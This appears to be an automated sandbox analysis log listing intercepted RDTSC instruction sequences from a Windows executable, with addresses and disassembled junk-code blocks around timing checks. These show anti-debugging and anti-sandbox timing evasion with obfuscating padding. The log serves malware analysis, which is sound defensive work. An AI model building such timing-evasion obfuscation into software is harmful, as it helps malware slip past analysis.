Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43CE06 second address: 43CE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FD7BCC58FE2h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD7BCC58FE5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43CE37 second address: 43CE3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44498B second address: 444990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 444990 second address: 4449F0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD7BCB87A1Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FD7BCB87A24h 0x00000012 pop eax 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 pushad 0x0000001a popad 0x0000001b push edx 0x0000001c pop edx 0x0000001d popad 0x0000001e jmp 00007FD7BCB87A1Fh 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 pushad 0x00000027 popad 0x00000028 push edi 0x00000029 pop edi 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD7BCB87A28h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4449F0 second address: 4449F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 444E68 second address: 444E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 444E6E second address: 444E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4450C0 second address: 4450DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD7BCB87A20h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FD7BCB87A16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 445264 second address: 44528D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD7BCC58FDFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FD7BCC58FDDh 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44554D second address: 445557 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD7BCB87A16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 445557 second address: 445578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FD7BCC58FD6h 0x0000000e jmp 00007FD7BCC58FE3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 445578 second address: 44557E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 445F50 second address: 445F56 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 445F56 second address: 445F5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 445F5C second address: 445F62 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44668D second address: 446691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446691 second address: 446697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44C930 second address: 44C934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44C934 second address: 44C947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCC58FDDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44C631 second address: 44C637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44ED1B second address: 44ED25 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD7BCC58FD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 459C15 second address: 459C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD7BCB87A18h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 459C21 second address: 459C5C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD7BCC58FE9h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007FD7BCC58FE0h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 459C5C second address: 459C76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 459C76 second address: 459C89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45C1FA second address: 45C200 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45C200 second address: 45C218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jng 00007FD7BCC58FD6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FD7BCC58FD6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463C1C second address: 463C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463C20 second address: 463C2A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD7BCC58FD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463C2A second address: 463C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD7BCB87A27h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007FD7BCB87A20h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop eax 0x00000017 push ebx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4651C3 second address: 4651C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4651C7 second address: 4651EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A29h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FD7BCB87A18h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4651EE second address: 4651F3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4651F3 second address: 465203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 jno 00007FD7BCB87A16h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46B230 second address: 46B24F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FD7BCC58FE8h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46B24F second address: 46B25E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD7BCB87A1Ah 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46B25E second address: 46B264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 476F73 second address: 476F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD7BCB87A16h 0x0000000a jmp 00007FD7BCB87A22h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jno 00007FD7BCB87A16h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D6AA second address: 47D6B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D6B1 second address: 47D6B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D6B7 second address: 47D6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D822 second address: 47D826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D826 second address: 47D82F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D967 second address: 47D96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DAE2 second address: 47DAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DAE8 second address: 47DAEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DAEC second address: 47DB04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD7BCC58FE0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DB04 second address: 47DB08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47DB08 second address: 47DB0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E09C second address: 47E0A6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD7BCB87A16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47EA46 second address: 47EA4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4835C5 second address: 4835C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4835C9 second address: 4835E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD7BCC58FE2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4832B9 second address: 4832C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FD7BCB87A1Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492102 second address: 492106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 492106 second address: 49211B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491F19 second address: 491F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCC58FE4h 0x00000009 js 00007FD7BCC58FD6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491F38 second address: 491F44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD7BCB87A16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491F44 second address: 491F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491F48 second address: 491F7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007FD7BCB87A5Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD7BCB87A21h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4945D7 second address: 4945E9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD7BCC58FDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EA66 second address: 48EA6C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EA6C second address: 48EA80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jno 00007FD7BCC58FD6h 0x0000000d jno 00007FD7BCC58FD6h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EA80 second address: 48EA86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB495 second address: 4BB4BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FD7BCC58FE2h 0x0000000f jng 00007FD7BCC58FD6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA36D second address: 4BA373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA373 second address: 4BA37D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD7BCC58FD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA7DA second address: 4BA7F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FD7BCB87A16h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA7F2 second address: 4BA7F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA7F6 second address: 4BA80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD7BCB87A1Eh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA80E second address: 4BA812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA812 second address: 4BA818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BAF39 second address: 4BAF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BAF3D second address: 4BAF48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BAF48 second address: 4BAF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FD7BCC58FD6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BAF55 second address: 4BAF5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BCAE2 second address: 4BCAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pushad 0x00000006 popad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BCAEC second address: 4BCAF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF397 second address: 4BF3A1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD7BCC58FD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF3A1 second address: 4BF3C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD7BCB87A21h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FD7BCB87A16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF3C3 second address: 4BF3C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF6BF second address: 4BF6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF6C8 second address: 4BF6FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jng 00007FD7BCC58FDCh 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 nop 0x00000015 mov edx, dword ptr [ebp+122D324Fh] 0x0000001b push 00000004h 0x0000001d mov dword ptr [ebp+122D1F6Fh], esi 0x00000023 call 00007FD7BCC58FD9h 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b pushad 0x0000002c popad 0x0000002d pop ecx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF6FA second address: 4BF713 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF713 second address: 4BF760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edi 0x0000000b push eax 0x0000000c jmp 00007FD7BCC58FE1h 0x00000011 pop eax 0x00000012 pop edi 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jmp 00007FD7BCC58FE9h 0x0000001b pushad 0x0000001c jmp 00007FD7BCC58FDFh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF992 second address: 4BF9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCB87A21h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF9A8 second address: 4BF9F4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD7BCC58FDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dx, D810h 0x00000011 push dword ptr [ebp+12458DFEh] 0x00000017 cld 0x00000018 call 00007FD7BCC58FD9h 0x0000001d jg 00007FD7BCC58FDAh 0x00000023 push edi 0x00000024 push edx 0x00000025 pop edx 0x00000026 pop edi 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD7BCC58FE8h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF9F4 second address: 4BFA35 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD7BCB87A18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e js 00007FD7BCB87A28h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jbe 00007FD7BCB87A1Eh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BFA35 second address: 4BFA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0EA9 second address: 4C0EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0EAF second address: 4C0EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0EB3 second address: 4C0F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FD7BCB87A22h 0x0000000e pop ecx 0x0000000f pushad 0x00000010 push esi 0x00000011 jc 00007FD7BCB87A16h 0x00000017 jnc 00007FD7BCB87A16h 0x0000001d pop esi 0x0000001e pushad 0x0000001f jo 00007FD7BCB87A16h 0x00000025 jnp 00007FD7BCB87A16h 0x0000002b jo 00007FD7BCB87A16h 0x00000031 jmp 00007FD7BCB87A27h 0x00000036 popad 0x00000037 pushad 0x00000038 jnc 00007FD7BCB87A16h 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
